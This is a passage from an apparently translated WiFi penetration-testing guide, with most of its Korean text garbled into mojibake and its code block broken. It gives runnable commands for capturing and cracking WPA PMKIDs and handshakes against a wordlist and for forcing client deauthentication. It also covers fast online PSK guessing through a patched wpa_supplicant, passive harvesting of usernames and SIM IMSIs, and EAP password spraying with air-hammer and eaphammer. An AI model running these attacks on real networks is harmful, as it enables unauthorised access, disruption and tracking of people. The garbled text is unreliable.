์ฌ๋ฐ๋ฅธ ํด์ ํ์์ ์ด 4๋ถ๋ถ์ผ๋ก ๊ตฌ์ฑ๋ฉ๋๋ค, ์: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 ๋ง์ฝ ๋น์ ์ ๊ฒ์ด ์ค์ง 3๋ถ๋ถ๋ง ํฌํจํ๋ค๋ฉด, ๊ทธ๊ฒ์ ์ ํจํ์ง ์์ต๋๋ค (PMKID ์บก์ฒ๊ฐ ์ ํจํ์ง ์์์ต๋๋ค).
์ฐธ๊ณ ๋ก hcxdumptool์ handshakes๋ ์บก์ฒํฉ๋๋ค (๋ค์๊ณผ ๊ฐ์ ํญ๋ชฉ์ด ๋ํ๋ฉ๋๋ค: MP:M1M2 RC:63258 EAPOLTIME:17091). cap2hccapx๋ฅผ ์ฌ์ฉํ๋ฉด handshakes๋ฅผ hashcat/john ํฌ๋งท์ผ๋ก ๋ณํํ ์ ์์ต๋๋ค.
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
์ด ๋๊ตฌ๋ก ์บก์ฒํ ์ผ๋ถ handshakes๋ ์ฌ๋ฐ๋ฅธ password๋ฅผ ์๊ณ ์์์๋ ๋ถ๊ตฌํ๊ณ cracked๋์ง ์๋ ๊ฒ์ ํ์ธํ์ต๋๋ค. ๊ฐ๋ฅํ๋ค๋ฉด ์ ํต์ ์ธ ๋ฐฉ์์ผ๋ก๋ handshakes๋ฅผ ์บก์ฒํ๊ฑฐ๋, ์ด ๋๊ตฌ๋ก ์ฌ๋ฌ ๊ฑด์ ์บก์ฒํ ๊ฒ์ ๊ถ์ฅํฉ๋๋ค.
Handshake ์บก์ฒ
WPA/WPA2 ๋คํธ์ํฌ์ ๋ํ ๊ณต๊ฒฉ์ handshake๋ฅผ ์บก์ฒํ๊ณ ์ํธ๋ฅผ offline์์ crack ์๋ํจ์ผ๋ก์จ ์ํํ ์ ์์ต๋๋ค. ์ด ๊ณผ์ ์ ํน์ ๋คํธ์ํฌ์ ํต์ ๊ณผ ํน์ channel์ BSSID๋ฅผ ๋ชจ๋ํฐ๋งํ๋ ๊ฒ์ ํฌํจํฉ๋๋ค. ๊ฐ๋จํ ๊ฐ์ด๋๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ๋์ ๋คํธ์ํฌ์ BSSID, channel, ๋ฐ connected client๋ฅผ ํ์ธํฉ๋๋ค.
- ์ง์ ๋ ์ฑ๋๊ณผ BSSID์์ ๋คํธ์ํฌ ํธ๋ํฝ์ ๋ชจ๋ํฐ๋งํ์ฌ handshake๋ฅผ ์บก์ฒํ๋ ค๋ฉด
airodump-ng๋ฅผ ์ฌ์ฉํ์ธ์. ๋ช ๋ น์ ๋ค์๊ณผ ๊ฐ์ด ๋ณด์ ๋๋ค:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
- handshake๋ฅผ ์บก์ฒํ ๊ฐ๋ฅ์ฑ์ ๋์ด๋ ค๋ฉด ํด๋ผ์ด์ธํธ๋ฅผ ๋คํธ์ํฌ์์ ์ ์ ๋์ด ์ฌ์ธ์ฆ์ ๊ฐ์ ํ์ธ์. ์ด๋ ํด๋ผ์ด์ธํธ์ deauthentication packets๋ฅผ ์ ์กํ๋
aireplay-ng๋ช ๋ น์ผ๋ก ์ํํ ์ ์์ต๋๋ค:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
client๊ฐ deauthenticated๋ ๊ฒฝ์ฐ ๋ค๋ฅธ AP๋, ๊ฒฝ์ฐ์ ๋ฐ๋ผ ๋ค๋ฅธ network์ ์ฐ๊ฒฐ์ ์๋ํ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์.
airodump-ng์ handshake ์ ๋ณด๊ฐ ํ์๋๋ฉด handshake๊ฐ ์บก์ฒ๋์์์ ์๋ฏธํ๋ฏ๋ก listening์ ์ค๋จํด๋ ๋ฉ๋๋ค:
 (1).png)
handshake๊ฐ ์บก์ฒ๋๋ฉด aircrack-ng๋ก crackํ ์ ์์ต๋๋ค:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
ํ์ผ์ handshake๊ฐ ์๋์ง ํ์ธ
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
์ด ๋๊ตฌ๊ฐ ์๋ฃ๋ handshake๋ณด๋ค ๋จผ์ ESSID์ ๋ฏธ์๋ฃ handshake๋ฅผ ์ฐพ์ผ๋ฉด, ์ ํจํ ๊ฒ์ ๊ฐ์งํ์ง ๋ชปํฉ๋๋ค.
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
wpa_supplicant ctrl socket๋ฅผ ํตํ ๋ ๋น ๋ฅธ ์จ๋ผ์ธ PSK ์ถ์ธก (ํด๋ผ์ด์ธํธ ์์/PMKID)
ํด๋ผ์ด์ธํธ๊ฐ ์๊ณ AP๊ฐ PMKID๋ฅผ ๊ฑฐ๋ถํ ๊ฒฝ์ฐ, supplicants๋ฅผ ์ฌ์์ํ์ง ์๊ณ ๋ ์จ๋ผ์ธ์์ PSK๋ฅผ ๋ฐ๋ณต ์๋ํ ์ ์์ต๋๋ค:
wpa_supplicant.c๋ฅผ ํจ์นํ์ฌ auth failure backoff ๋ก์ง(aroundssid->auth_failures)์์dur = 0;์ ๊ฐ์ ์ค์ ํ๋ฉด temporary-disable ํ์ด๋จธ๊ฐ ์ฌ์ค์ ๋นํ์ฑํ๋ฉ๋๋ค.- ํ๋์ daemon์ control socket๊ณผ ํจ๊ป ์คํ:
# wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=root
update_config=1
wpa_supplicant -B -i wlp3s0 -c wpa_supplicant.conf
- ์ ์ด ์ธํฐํ์ด์ค๋ฅผ ํตํด ๊ตฌ๋ํ๋, ๋์ผํ scan ๋ฐ network๋ฅผ ์ฌ์ฌ์ฉ:
ADD_NETWORK
SET_NETWORK 0 ssid "<ssid>"
ENABLE_NETWORK 0
SCAN
(loop)
SET_NETWORK 0 psk "<candidate>"
REASSOCIATE
wait for CTRL-EVENT-CONNECTED / DISCONNECTED
A small Python loop reading socket events (CTRL-EVENT-CONNECTED / CTRL-EVENT-DISCONNECTED) can test ~100 guesses in ~5 minutes without scan overhead. It is still noisy and detectable, but avoids per-attempt process restarts and backoff delays.
WPA Enterprise (MGT)
In ์ํฐํ๋ผ์ด์ฆ WiFi ์ค์ ์์๋ ๋ค์ํ ์ธ์ฆ ๋ฐฉ์๋ค์ ๋ง๋๊ฒ ๋๋ฉฐ, ๊ฐ ๋ฐฉ์์ ์๋ก ๋ค๋ฅธ ๋ณด์ ์์ค๊ณผ ๊ด๋ฆฌ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ค. airodump-ng ๊ฐ์ ๋๊ตฌ๋ก ๋คํธ์ํฌ ํธ๋ํฝ์ ์กฐ์ฌํ ๋ ์ด๋ฌํ ์ธ์ฆ ํ์
์ ๋ํ๋ด๋ ์๋ณ์๋ฅผ ๋ณผ ์ ์๋ค. ์ผ๋ฐ์ ์ธ ๋ฐฉ๋ฒ๋ค์ ๋ค์๊ณผ ๊ฐ๋ค:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
- EAP-GTC (Generic Token Card):
- ์ด ๋ฐฉ๋ฒ์ EAP-PEAP ๋ด์์ ํ๋์จ์ด ํ ํฐ๊ณผ ์ผํ์ฑ ๋น๋ฐ๋ฒํธ๋ฅผ ์ง์ํฉ๋๋ค. MSCHAPv2์๋ ๋ฌ๋ฆฌ peer challenge๋ฅผ ์ฌ์ฉํ์ง ์์ผ๋ฉฐ ๋น๋ฐ๋ฒํธ๋ฅผ ์ก์ธ์ค ํฌ์ธํธ์ ํ๋ฌธ์ผ๋ก ์ ์กํ๋ฏ๋ก downgrade ๊ณต๊ฒฉ์ ์ํ์ด ์์ต๋๋ค.
- EAP-MD5 (Message Digest 5):
- ํด๋ผ์ด์ธํธ๊ฐ ๋น๋ฐ๋ฒํธ์ MD5 ํด์๋ฅผ ์ ์กํ๋ ๋ฐฉ์์ ๋๋ค. ์ฌ์ ๊ณต๊ฒฉ์ ์ทจ์ฝํ๊ณ ์๋ฒ ์ธ์ฆ์ด ์์ผ๋ฉฐ ์ธ์ ๋ณ WEP ํค๋ฅผ ์์ฑํ ์ ์๊ธฐ ๋๋ฌธ์ ๊ถ์ฅ๋์ง ์์ต๋๋ค.
- EAP-TLS (Transport Layer Security):
- ํด๋ผ์ด์ธํธ ์ธก ๋ฐ ์๋ฒ ์ธก ์ธ์ฆ์๋ฅผ ๋ชจ๋ ์ฌ์ฉํ์ฌ ์ธ์ฆํ๋ฉฐ ํต์ ๋ณด์์ ์ํด ์ฌ์ฉ์ ๊ธฐ๋ฐ ๋ฐ ์ธ์ ๊ธฐ๋ฐ WEP ํค๋ฅผ ๋์ ์ผ๋ก ์์ฑํ ์ ์์ต๋๋ค.
- EAP-TTLS (Tunneled Transport Layer Security):
- ์ํธํ๋ ํฐ๋์ ํตํด ์ํธ ์ธ์ฆ์ ์ ๊ณตํ๋ฉฐ, ์ฌ์ฉ์๋ณยท์ธ์ ๋ณ ๋์ WEP ํค๋ฅผ ๋์ถํ๋ ๋ฐฉ๋ฒ์ ์ ๊ณตํฉ๋๋ค. ์๋ฒ ์ธก ์ธ์ฆ์๋ง ํ์ํ๊ณ ํด๋ผ์ด์ธํธ๋ ์๊ฒฉ ์ฆ๋ช ์ ์ฌ์ฉํฉ๋๋ค.
- PEAP (Protected Extensible Authentication Protocol):
- ๋ณดํธ๋ ํต์ ์ ์ํด TLS ํฐ๋์ ์์ฑํ๋ค๋ ์ ์์ EAP์ ์ ์ฌํ๊ฒ ๋์ํฉ๋๋ค. ํฐ๋์ด ์ ๊ณตํ๋ ๋ณดํธ ๋๋ถ์ EAP ์์ ์ฝํ ์ธ์ฆ ํ๋กํ ์ฝ์ ์ฌ์ฉํ ์ ์๊ฒ ํฉ๋๋ค.
- PEAP-MSCHAPv2: ํํ PEAP๋ผ๊ณ ๋ถ๋ฆฌ๋ฉฐ, ์ทจ์ฝํ MSCHAPv2 challenge/response ๋ฉ์ปค๋์ฆ์ ๋ณดํธ์ฉ TLS ํฐ๋๊ณผ ๊ฒฐํฉํฉ๋๋ค.
- PEAP-EAP-TLS (or PEAP-TLS): EAP-TLS์ ์ ์ฌํ์ง๋ง ์ธ์ฆ์ ๊ตํ ์ ์ TLS ํฐ๋์ ๋จผ์ ์์ํ์ฌ ์ถ๊ฐ์ ์ธ ๋ณด์ ๊ณ์ธต์ ์ ๊ณตํฉ๋๋ค.
์ด ์ธ์ฆ ๋ฐฉ๋ฒ๋ค์ ๋ํ ์์ธํ ์ ๋ณด๋ here and here์์ ํ์ธํ ์ ์์ต๋๋ค.
Username Capture
Reading https://tools.ietf.org/html/rfc3748#page-27 it looks like if you are using EAP the โIdentityโ messages must be supported, and the username is going to be sent in clear in the โResponse Identityโ messages.
๊ฐ์ฅ ๋ณด์์ด ๋์ ์ธ์ฆ ๋ฐฉ๋ฒ ์ค ํ๋์ธ PEAP-EAP-TLS๋ฅผ ์ฌ์ฉํ๋๋ผ๋ EAP ํ๋กํ ์ฝ์์ ์ ์ก๋๋ username์ ์บก์ฒํ ์ ์์ต๋๋ค. ์ด๋ฅผ ์ํํ๋ ค๋ฉด ์ธ์ฆ ํต์ ์ ์บก์ฒํ์ญ์์ค (airodump-ng๋ฅผ ์ฑ๋ ๋ด๋ถ์์ ์คํํ๊ณ ๋์ผํ ์ธํฐํ์ด์ค์์ wireshark๋ฅผ ์คํํ ํ ํจํท์ eapol๋ก ํํฐ๋ง).
โResponse, Identityโ ํจํท ๋ด๋ถ์์ ํด๋ผ์ด์ธํธ์ ์ฌ์ฉ์ ์ด๋ฆ์ด ๋ํ๋ฉ๋๋ค.
.png)
Anonymous Identities
Identity ์จ๊ธฐ๊ธฐ๋ EAP-PEAP์ EAP-TTLS ๋ชจ๋์์ ์ง์๋ฉ๋๋ค. WiFi ๋คํธ์ํฌ ๋งฅ๋ฝ์์ EAP-Identity ์์ฒญ์ ์ผ๋ฐ์ ์ผ๋ก association ๊ณผ์ ์ค์ ์ก์ธ์ค ํฌ์ธํธ(AP)์ ์ํด ์์๋ฉ๋๋ค. ์ฌ์ฉ์ ์ต๋ช ์ฑ์ ๋ณดํธํ๊ธฐ ์ํด, ์ฌ์ฉ์์ ์ฅ์น์ ์๋ EAP ํด๋ผ์ด์ธํธ๊ฐ ๋ณด๋ด๋ ์๋ต์ ์ด๊ธฐ RADIUS ์๋ฒ๊ฐ ์์ฒญ์ ์ฒ๋ฆฌํ๋ ๋ฐ ํ์ํ ํ์ ์ ๋ณด๋ง์ ํฌํจํฉ๋๋ค. ์ด ๊ฐ๋ ์ ๋ค์ ์๋๋ฆฌ์ค๋ค๋ก ์ค๋ช ํ ์ ์์ต๋๋ค:
- EAP-Identity = anonymous
- ์ด ์๋๋ฆฌ์ค์์๋ ๋ชจ๋ ์ฌ์ฉ์๊ฐ ๊ฐ๋ช โanonymousโ๋ฅผ ์ฌ์ฉ์ ์๋ณ์๋ก ์ฌ์ฉํฉ๋๋ค. ์ด๊ธฐ RADIUS ์๋ฒ๋ EAP-PEAP ๋๋ EAP-TTLS ์๋ฒ๋ก ๋์ํ๋ฉฐ PEAP ๋๋ TTLS ํ๋กํ ์ฝ์ ์๋ฒ ์ธก์ ๊ด๋ฆฌํฉ๋๋ค. ๋ด๋ถ(๋ณดํธ๋) ์ธ์ฆ ๋ฐฉ๋ฒ์ ๋ก์ปฌ์์ ์ฒ๋ฆฌ๋๊ฑฐ๋ ์๊ฒฉ(home) RADIUS ์๋ฒ์ ์์๋ ์ ์์ต๋๋ค.
- EAP-Identity = anonymous@realm_x
- ์ด ๊ฒฝ์ฐ ์๋ก ๋ค๋ฅธ realm์ ์ฌ์ฉ์๋ค์ด ์์ ์ ์ ์์ ์จ๊ธฐ๋ฉด์ ์์ realm์ ๋ํ๋ ๋๋ค. ์ด๋ฅผ ํตํด ์ด๊ธฐ RADIUS ์๋ฒ๋ EAP-PEAP ๋๋ EAP-TTLS ์์ฒญ์ ํด๋น ์ฌ์ฉ์์ ํ realm์ ์๋ RADIUS ์๋ฒ๋ก ํ๋ก์ํ ์ ์์ผ๋ฉฐ, ๊ทธ ์๋ฒ๋ค์ด PEAP ๋๋ TTLS ์๋ฒ๋ก ๋์ํฉ๋๋ค. ์ด๊ธฐ RADIUS ์๋ฒ๋ ๋จ์ง RADIUS ์ค๊ณ ๋ ธ๋๋ก ๋์ํฉ๋๋ค.
- ๋๋ ์ด๊ธฐ RADIUS ์๋ฒ๊ฐ EAP-PEAP ๋๋ EAP-TTLS ์๋ฒ๋ก ๋์ํ๋ฉด์ ๋ณดํธ๋ ์ธ์ฆ ๋ฐฉ๋ฒ์ ์ฒ๋ฆฌํ๊ฑฐ๋ ๋ค๋ฅธ ์๋ฒ๋ก ์ ๋ฌํ ์ ์์ต๋๋ค. ์ด ์ต์ ์ ๋ค์ํ realm์ ๋ํด ์๋ก ๋ค๋ฅธ ์ ์ฑ ์ ๊ตฌ์ฑํ ์ ์๊ฒ ํฉ๋๋ค.
EAP-PEAP์์๋ PEAP ์๋ฒ์ PEAP ํด๋ผ์ด์ธํธ ์ฌ์ด์ TLS ํฐ๋์ด ์ค์ ๋ ํ, PEAP ์๋ฒ๊ฐ EAP-Identity ์์ฒญ์ ์์ํ๊ณ ์ด๋ฅผ TLS ํฐ๋์ ํตํด ์ ์กํฉ๋๋ค. ํด๋ผ์ด์ธํธ๋ ์ด ๋ ๋ฒ์งธ EAP-Identity ์์ฒญ์ ๋ํด ์ํธํ๋ ํฐ๋์ ํตํด ์ฌ์ฉ์์ ์ค์ ์ ์์ ํฌํจํ EAP-Identity ์๋ต์ ๋ณด๋ ๋๋ค. ์ด ์ ๊ทผ ๋ฐฉ์์ 802.11 ํธ๋ํฝ์ ๋์ฒญํ๋ ๋๊ตฐ๊ฐ์๊ฒ ์ฌ์ฉ์์ ์ค์ ์ ์์ด ๋๋ฌ๋๋ ๊ฒ์ ํจ๊ณผ์ ์ผ๋ก ๋ฐฉ์งํฉ๋๋ค.
EAP-TTLS๋ ์ฝ๊ฐ ๋ค๋ฅธ ์ ์ฐจ๋ฅผ ๋ฐ๋ฆ ๋๋ค. EAP-TTLS์์๋ ์ผ๋ฐ์ ์ผ๋ก ํด๋ผ์ด์ธํธ๊ฐ TLS ํฐ๋๋ก ๋ณดํธ๋ ์ํ์์ PAP ๋๋ CHAP์ ์ฌ์ฉํ์ฌ ์ธ์ฆํฉ๋๋ค. ์ด ๊ฒฝ์ฐ ํด๋ผ์ด์ธํธ๋ ํฐ๋ ์ค์ ํ ์ด๊ธฐ TLS ๋ฉ์์ง์ User-Name ์์ฑ๊ณผ Password ๋๋ CHAP-Password ์์ฑ ์ค ํ๋๋ฅผ ํฌํจํฉ๋๋ค.
์ ํํ ํ๋กํ ์ฝ์ ๊ด๊ณ์์ด PEAP/TTLS ์๋ฒ๋ TLS ํฐ๋์ด ์ค์ ๋ ํ ์ฌ์ฉ์์ ์ค์ ์ ์์ ์๊ฒ ๋ฉ๋๋ค. ์ค์ ์ ์์ user@realm ๋๋ ๋จ์ํ user๋ก ํํ๋ ์ ์์ต๋๋ค. PEAP/TTLS ์๋ฒ๊ฐ ์ฌ์ฉ์ ์ธ์ฆ๋ ๋ด๋นํ๋ ๊ฒฝ์ฐ, ์ด์ ์๋ฒ๋ ์ฌ์ฉ์์ ์ ์์ ํ๋ณดํ๊ณ TLS ํฐ๋๋ก ๋ณดํธ๋ ์ธ์ฆ ๋ฐฉ๋ฒ์ ์งํํฉ๋๋ค. ๋๋ PEAP/TTLS ์๋ฒ๊ฐ ์๋ก์ด RADIUS ์์ฒญ์ ์ฌ์ฉ์์ ํ RADIUS ์๋ฒ๋ก ์ ๋ฌํ ์ ์์ต๋๋ค. ์ด ์๋ก์ด RADIUS ์์ฒญ์๋ PEAP ๋๋ TTLS ํ๋กํ ์ฝ ๋ ์ด์ด๊ฐ ํฌํจ๋์ง ์์ต๋๋ค. ๋ณดํธ๋ ์ธ์ฆ ๋ฐฉ๋ฒ์ด EAP์ธ ๊ฒฝ์ฐ ๋ด๋ถ EAP ๋ฉ์์ง๋ EAP-PEAP ๋๋ EAP-TTLS ๋ํผ ์์ด ํ RADIUS ์๋ฒ๋ก ์ ์ก๋ฉ๋๋ค. ๋๊ฐ๋ RADIUS ๋ฉ์์ง์ User-Name ์์ฑ์ ๋ค์ด์ค๋ RADIUS ์์ฒญ์ anonymous User-Name์ ๋์ฒดํ์ฌ ์ฌ์ฉ์์ ์ค์ ์ ์์ ํฌํจํฉ๋๋ค. ๋ณดํธ๋ ์ธ์ฆ ๋ฐฉ๋ฒ์ด PAP ๋๋ CHAP์ธ ๊ฒฝ์ฐ(์ด๋ TTLS์์๋ง ์ง์๋จ), TLS ํ์ด๋ก๋์์ ์ถ์ถ๋ User-Name ๋ฐ ๊ธฐํ ์ธ์ฆ ์์ฑ๋ค์ด ๋๊ฐ๋ RADIUS ๋ฉ์์ง์ ๋์ฒด๋์ด ๋ค์ด์ค๋ RADIUS ์์ฒญ์ ์๋ anonymous User-Name ๋ฐ TTLS EAP-Message ์์ฑ์ ๋์ฒดํฉ๋๋ค.
์์ธํ ๋ด์ฉ์ https://www.interlinknetworks.com/app_notes/eap-peap.htm ์ ํ์ธํ์ธ์.
SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)
SIM ๊ธฐ๋ฐ WiโFi ์ธ์ฆ(EAPโSIM/EAPโAKA over 802.1X)์ pseudonyms/protected identities๋ฅผ ๊ตฌํํ์ง ์๊ฑฐ๋ ๋ด๋ถ EAP ์ฃผ์์ TLS ํฐ๋์ ์ ์ฉํ์ง ์์ ๋ฐฐํฌ์ ๊ฒฝ์ฐ, ์ธ์ฆ๋์ง ์์ identity ๋จ๊ณ์์ ์๊ตฌ ๊ฐ์ ์ ์๋ณ์(IMSI)๋ฅผ ํ๋ฌธ์ผ๋ก leakํ ์ ์์ต๋๋ค.
Where the leak happens (high level):
- 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
- Authenticator sends EAP-Request/Identity.
- Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
- Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
- Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.
Quick PoC: passive IMSI harvesting on EAPโSIM/AKA networks lacking identity privacy
ํ์ฅํ๋ ค๋ฉด ํด๋ฆญ
```bash # 1) Enable monitor mode airmon-ng start wlan02) Optional: lock channel to the target BSS
airodump-ng wlan0mon โessid
3) Capture 802.1X/EAP frames
Wireshark display filters:
eap || eapol
(identity specifically): eap.code == 2 && eap.type == 1
Kismet: add source wlan0mon; enable 802.1X/EAP views
tcpdump (pcap capture):
tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap
4) Wait for a device to auto-connect to the SSID
5) Inspect the first EAP-Response/Identity frame
Expected: ASCII NAI containing IMSI, e.g.
20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
</details>
์ฐธ๊ณ :
- ๋ฐฐํฌ๊ฐ ๋ณดํธ๋ ์ ์/๊ฐ๋ช
์์ด ์์ํ EAPโSIM/AKA๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ TLS ํฐ๋ ์ด์ ์ ์๋ํฉ๋๋ค.
- ๋
ธ์ถ๋ ๊ฐ์ ๊ฐ์
์์ SIM์ ์ฐ๊ฒฐ๋ ์๊ตฌ ์๋ณ์์
๋๋ค. ์ด๋ฅผ ์์งํ๋ฉด ์ฅ๊ธฐ ์ถ์ ๋ฐ ์ดํ์ ํต์ ์ฌ ์
์ฉ์ด ๊ฐ๋ฅํด์ง๋๋ค.
์ํฅ
- Privacy: ๊ณต๊ณต์ฅ์์์์ ์๋ WiโFi ์บก์ฒ๋ก ์ธํ ์ง์์ ์ธ ์ฌ์ฉ์/์ฅ์น ์ถ์ .
- Telecom abuse bootstrap: IMSI๋ฅผ ํตํด SS7/Diameter ์ ๊ทผ ๊ถํ์ ๊ฐ์ง ๊ณต๊ฒฉ์๊ฐ ์์น ์กฐํ, ํตํ/SMS ๊ฐ๋ก์ฑ๊ธฐ ๋๋ MFA ํ์ทจ๋ฅผ ์๋ํ ์ ์์ต๋๋ค.
์ํ ๋ฐฉ์ / ํ์ธํ ์ฌํญ
- ํด๋ผ์ด์ธํธ๊ฐ 3GPP ๊ถ๊ณ (์: 3GPP TS 33.402)์ ๋ฐ๋ผ ์ต๋ช
outer identities(๊ฐ๋ช
)๋ฅผ EAPโSIM/AKA์ ์ฌ์ฉํ๊ณ ์๋์ง ํ์ธํ์ธ์.
- ๊ฐ๋ฅํ๋ฉด ์ ์ ๋จ๊ณ(identity phase)๋ฅผ ํฐ๋๋ง(์: inner EAPโSIM/AKA๋ฅผ ์ด๋ฐํ๋ EAPโTTLS/PEAP)ํ์ฌ IMSI๊ฐ ํ๋ฌธ์ผ๋ก ์ ์ก๋์ง ์๋๋ก ํ์ธ์.
- association/auth์ ํจํท ์บก์ฒ์์ EAP-Response/Identity์ ์์ IMSI๊ฐ ๋
ธ์ถ๋์ด์๋ ์ ๋ฉ๋๋ค.
๊ด๋ จ: ์บก์ฒ๋ ๋ชจ๋ฐ์ผ ์๋ณ์๋ฅผ ์ด์ฉํ ํต์ ์ ํธ ์
์ฉ
<a class="content_ref" href="../pentesting-network/telecom-network-exploitation.md"><span class="content_ref_label">Telecom Network Exploitation</span></a>
### EAP-Bruteforce (password spray)
ํด๋ผ์ด์ธํธ๊ฐ **์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ**๋ฅผ ์ฌ์ฉํ๋๋ก ๋์ด ์๋ค๋ฉด(์ด ๊ฒฝ์ฐ **EAP-TLS won't be valid**), **์ฌ์ฉ์ ์ด๋ฆ ๋ชฉ๋ก**(๋ค์ ๋ถ๋ถ ์ฐธ์กฐ)๊ณผ **๋น๋ฐ๋ฒํธ**๋ฅผ ํ๋ณดํ ๋ค [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**์ ์ฌ์ฉํด ์ ๊ทผ์ **bruteforce** ์๋ํ ์ ์์ต๋๋ค.
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
์ด ๊ณต๊ฒฉ์ eaphammer๋ฅผ ์ฌ์ฉํด์๋ ์ํํ ์ ์์ต๋๋ค:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
ํด๋ผ์ด์ธํธ ๊ณต๊ฒฉ ์ด๋ก
Network Selection and Roaming
- The 802.11 protocol defines how a station joins an Extended Service Set (ESS) but does not specify the criteria for selecting an ESS or an access point (AP) within it.
- ์คํ ์ด์ ์ ๋์ผํ ESSID๋ฅผ ๊ณต์ ํ๋ AP๋ค ์ฌ์ด๋ฅผ ๋ก๋ฐํ ์ ์์ด, ๊ฑด๋ฌผ์ด๋ ๊ตฌ์ญ ์ ๋ฐ์ ๊ฑธ์ณ ์ฐ๊ฒฐ์ ์ ์งํ ์ ์๋ค.
- ํ๋กํ ์ฝ์ ์คํ ์ด์ ์ด ESS์ ๋ํด ์ธ์ฆ์ ์ํํ๋๋ก ์๊ตฌํ์ง๋ง AP๊ฐ ์คํ ์ด์ ์๊ฒ ์ธ์ฆํ๋๋ก ์๊ตฌํ์ง๋ ์๋๋ค.
Preferred Network Lists (PNLs)
- ์คํ ์ด์ ์ ์ฐ๊ฒฐํ ๋ชจ๋ ๋ฌด์ ๋คํธ์ํฌ์ ESSID๋ฅผ Preferred Network List (PNL)์ ์ ์ฅํ๋ฉฐ, ๋คํธ์ํฌ๋ณ ๊ตฌ์ฑ ์์ธ๋ ํจ๊ป ์ ์ฅํ๋ค.
- PNL์ ์๋ ค์ง ๋คํธ์ํฌ์ ์๋์ผ๋ก ์ฐ๊ฒฐํ๋ ๋ฐ ์ฌ์ฉ๋๋ฉฐ, ์ฐ๊ฒฐ ๊ณผ์ ์ ๊ฐ์ํํด ์ฌ์ฉ์ฑ ํฅ์์ ์ ๊ณตํ๋ค.
Passive Scanning
- AP๋ ์ฃผ๊ธฐ์ ์ผ๋ก beacon frames๋ฅผ ๋ธ๋ก๋์บ์คํธํ์ฌ ์์ ์ ์กด์ฌ์ ๊ธฐ๋ฅ์ ์๋ฆฌ๋ฉฐ, ๋ธ๋ก๋์บ์คํธ๊ฐ ๋นํ์ฑํ๋์ด ์์ง ์๋ค๋ฉด AP์ ESSID๋ ํฌํจํ๋ค.
- ์๋ ์ค์บ๋ ๋์ ์คํ ์ด์ ์ beacon frames๋ฅผ ์์ ํ๋ค. ๋น์ฝ์ ESSID๊ฐ ์คํ ์ด์ ์ PNL ํญ๋ชฉ๊ณผ ์ผ์นํ๋ฉด ์คํ ์ด์ ์ ํด๋น AP์ ์๋์ผ๋ก ์ฐ๊ฒฐํ ์ ์๋ค.
- ์ฅ์น์ PNL ์ ๋ณด๋ฅผ ์๋ฉด ์๋ ค์ง ๋คํธ์ํฌ์ ESSID๋ฅผ ๋ชจ๋ฐฉํด ์ฅ์น๋ฅผ ์ ์ฑ AP์ ์ฐ๊ฒฐ์ํค๋ ์์ผ๋ก ์ ์ฌ์ ์ธ ์ ์ฉ์ด ๊ฐ๋ฅํ๋ค.
Active Probing
- Active probing์ ์คํ ์ด์ ์ด probe requests๋ฅผ ๋ณด๋ด ์ฃผ๋ณ AP์ ๊ทธ ํน์ฑ์ ํ์งํ๋ ๊ณผ์ ์ด๋ค.
- Directed probe requests๋ ํน์ ESSID๋ฅผ ๋์์ผ๋ก ํ์ฌ, ํด๋น ๋คํธ์ํฌ๊ฐ ๋ฒ์ ๋ด์ ์๋์ง(์จ๊น ๋คํธ์ํฌ์ธ ๊ฒฝ์ฐ์๋) ํ์ธํ๋ ๋ฐ ๋์์ ์ค๋ค.
- Broadcast probe requests๋ SSID ํ๋๊ฐ null์ด๋ฉฐ ๋ชจ๋ ์ธ๊ทผ AP๋ก ์ ์ก๋์ด, ์คํ ์ด์ ์ด PNL ๋ด์ฉ์ ๋ ธ์ถํ์ง ์๊ณ ๋ ์ ํธ ๋คํธ์ํฌ๊ฐ ์๋์ง ํ์ธํ ์ ์๊ฒ ํ๋ค.
Simple AP with redirection to Internet
๋ ๋ณต์กํ ๊ณต๊ฒฉ์ ์ค๋ช ํ๊ธฐ ์ ์, ๋จ์ํ AP๋ฅผ ์์ฑํ๊ณ ๊ทธ ํธ๋ํฝ์ Internet์ ์ฐ๊ฒฐ๋ ์ธํฐํ์ด์ค๋ก ๋ฆฌ๋๋ ์ ํ๋ ๋ฐฉ๋ฒ์ ์ค๋ช ํ๋ค.
Using ifconfig -a check that the wlan interface to create the AP and the interface connected to the Internet are present.
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
